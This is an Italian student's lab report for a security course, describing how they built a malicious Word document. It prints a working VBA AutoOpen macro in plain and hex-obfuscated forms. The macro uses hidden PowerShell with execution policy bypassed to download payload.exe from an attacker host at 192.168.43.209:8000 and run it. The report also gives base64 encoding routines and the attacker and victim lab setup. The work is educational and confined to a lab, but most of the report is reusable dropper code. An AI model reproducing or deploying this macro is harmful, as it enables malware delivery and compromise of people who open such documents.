REPORT DOCUMENTO MALEVOLO

*Nome Cognome Farina Christian*

*Matricola VR501577*

*Email christian.farina@studenti.univr.it*

# COMANDO POWERSHELL

In questa sezione dovete presentare il codice del comando Powershel e le tecniche adottate per codificarlo in base 64.

**COMANDI POWERSHELL**

' Mi collego al server creato con python e scarico il file malevolo

comandoDaEseguire= "(New-Object Net.WebClient).DownloadFile('" & "http://ipattaccante:porta/payload.exe" & "', '" & "percorso\dove\voglio\salvare\virus.exe " & "')"

comandoDaEseguire2= " & 'percorso\dove\è\salvato\virus.exe'"

' Esegui il comando PowerShell per scaricare il file malevolo

shell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command " & comandoDaEseguire, 0, True

' Esegui il comando PowerShell per eseguire il file malevolo

shell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command " & comandoDaEseguire2, 0, True

**TECNICHE DI CODIFICA**

Per la codifica ho utilizzato due metodi in VBA che codificano stringhe date in input, in un contest reale le stringhe sarebbero state date, direttamente codificate, come input al decodificatore di VBA; tuttavia, per motivi didattici ho inserito I due metodi all’interno del codice del file malevolo, per mostrarne il funzionamento. Il programma infatti esegue I seguenti passaggi:

1 Codifica le stringhe

2 Decodifica le stringhe

3 Esegue I comandi decodificati

**METODI USATI PER CODIFICARE I COMANDI**

' codifica una stringa in input in base 64 e restituisce la stringa codificata

Function EncodeBase64(str As String) As String

Dim objXML As Object

Dim objNode As Object

' Crea un oggetto XML

Set objXML = CreateObject("MSXML2.DOMDocument")

Set objNode = objXML.createElement("b64")

' Imposta il testo del nodo con il comando da codificare

objNode.dataType = "bin.base64"

objNode.nodeTypedValue = stringaABinario(str)

' Restituisci il risultato della codifica base64

EncodeBase64 = objNode.text

' Libera l'oggetto XML

Set objNode = Nothing

Set objXML = Nothing

End Function

' Converte una stringa in input in dati binari

Function stringaABinario(s As String) As Variant

Dim ado As Object

Set ado = CreateObject("ADODB.Stream")

ado.Type = 2 ' adTypeText

ado.Charset = "us-ascii"

ado.Open

ado.WriteText s

ado.Position = 0

ado.Type = 1 ' adTypeBinary

stringaABinario = ado.Read

ado.Close

Set ado = Nothing

End Function

# VBA MACRO

In questa sezione dovete presentare il codice della macro prima che venga offuscato, le tecniche adottate per offuscare il codice e il codice della macro offuscato.

**CODICE MACRO NON OFFUSCATO**

Sub AutoOpen()

Dim codificato As String

Dim codificato2 As String

Dim comandoBase64 As String

Dim comandoDaEseguire As String

Dim comandoDaEseguire2 As String

Dim shell As Object

Set shell = VBA.CreateObject("WScript.Shell")

' comando per scaricare il file malevolo

codificato = EncodeBase64("(New-Object Net.WebClient).DownloadFile('" & "http://192.168.43.209:8000/payload.exe" & "', '" & "C:\Users\malware\Downloads\virus.exe" & "')")

' comando per eseguire il file malevolo

codificato2 = EncodeBase64(" & 'C:\Users\malware\Downloads\virus.exe'")

' Comando PowerShell codificato in base64

comandoBase64 = "IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('BASE64\_ENCODED\_COMMAND')))"

' decodifico i due comandi da base64 a normali

comandoDaEseguire = Replace(comandoBase64, "BASE64\_ENCODED\_COMMAND", codificato)

comandoDaEseguire2 = Replace(comandoBase64, "BASE64\_ENCODED\_COMMAND", codificato2)

' Esegui il comando PowerShell per scaricare il file malevolo

shell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command " & comandoDaEseguire, 0, True

' Esegui il comando PowerShell per eseguire il file malevolo

shell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command " & comandoDaEseguire2, 0, True

' Rilascio l'oggetto

Set shell = Nothing

End Sub

**CODICE MACRO OFFUSCATO**

Const ooezovykprtt = 2

Const aqmjwdobeoqj = 1

Const ehtsfjs = 0

Sub AutoOpen()

Dim lsqusheic As String

Dim gcgrrlkyyn As String

Dim hbwgdnzhgeyo As String

Dim ajkquovldiyoumav As String

Dim vmfosuiwtjww As String

Dim tzicbtrtaod As Object

Set tzicbtrtaod = VBA.CreateObject(twnukwpmlvzmxls("57536372") & twnukwpmlvzmxls("6970742e5368656c6c"))

hbwgdnzhgeyo = twnukwpmlvzmxls("494558285b53797374656d2e546578742e456e636f64696e675d3a3a555446382e476574537472696e67285b53797374656d2e436f6e766572745d3a3a46726f6d426173653634") & twnukwpmlvzmxls("537472696e6728274241534536345f454e434f4445445f434f4d4d414e4427292929")

ajkquovldiyoumav = Replace(hbwgdnzhgeyo, twnukwpmlvzmxls("4241534536345f") & twnukwpmlvzmxls("454e434f4445445f434f4d4d414e44"), twnukwpmlvzmxls("4b45") & twnukwpmlvzmxls("356c64793150596d706c59335167546d56304c6c646c596b4e736157567564436b7552473933626d7876595752476157786c4b43646f644852774f6938764d546b794c6a45324f4334784c6a45774f6a67774d44417663474635624739685a43356c6547556e4c43416e517a706356584e6c636e4e6359334a706333526352473933626d78765957527a58485a70636e567a4c6d56345a536370"))

vmfosuiwtjww = Replace(hbwgdnzhgeyo, twnukwpmlvzmxls("4241534536") & twnukwpmlvzmxls("345f454e434f4445445f434f4d4d414e44"), twnukwpmlvzmxls("494359674a304d365846") & twnukwpmlvzmxls("567a5a584a7a58474e7961584e3058455276643235736232466b6331783261584a316379356c6547556e"))

tzicbtrtaod.Run twnukwpmlvzmxls("706f7765727368656c6c2e657865202d4e6f50726f66696c6520") & twnukwpmlvzmxls("2d457865637574696f6e506f6c69637920427970617373202d436f6d6d616e6420") & ajkquovldiyoumav, ehtsfjs, True

tzicbtrtaod.Run twnukwpmlvzmxls("706f77") & twnukwpmlvzmxls("65727368656c6c2e657865202d4e6f50726f66696c65202d457865637574696f6e506f6c69637920427970617373202d436f6d6d616e6420") & vmfosuiwtjww, ehtsfjs, True

# Set tzicbtrtaod = Nothing

Il codice è stato offuscato con il seguente offuscatore: https://github.com/sevagas/macro\_pack.git.

Il seguente programma genera un documento Word con la macro offuscata all’interno. Come input è necessario dare la macro non offuscata. (ho dato in input la macro direttamente coi comandi codificati in base 64)

# INFRASTRUTTURA ATTACCO

In questa sezione dovete presentare le macchine virtuali utilizzate per condurre l’attacco e come sono state configurate.

**ATTACCANTE**

L’attaccante è la macchina Kali Linux usata a lezione con un ip statico, ho scritto due programmi in C# che rappresentano rispettivamente il client e il server. La vittima aprendo il documento Word malevolo si collega ad un server creato con il comando “python -m http.server 8000” e scarica il payload malevolo. L’attaccante avvierà poi la console ed inserirà come input l’indirizzo ip della vittima fornitogli dal server python. Il payload è stato offuscato usando il seguente software: <https://github.com/0xb11a1/yetAnotherObfuscator.git>. L’unico possibile “comando malevolo” che ho implementato è la scrittura di un messaggio da remoto usando il prompt della vittima.

**VITTIMA**

La vittima è una macchina Windows 10 con Windows Defender disabilitato e con pacchetto Office installato, per permettere l’apertura del documento Word malevolo. Ho utilizzato la macchina Windows fornita a lezione e ho scaricato il pacchetto Office con l’account accademico. La vittima non ha un ip statico; le due machine sono connesse ad una rete con nat il cui indirizzo è 192.168.43.0/24.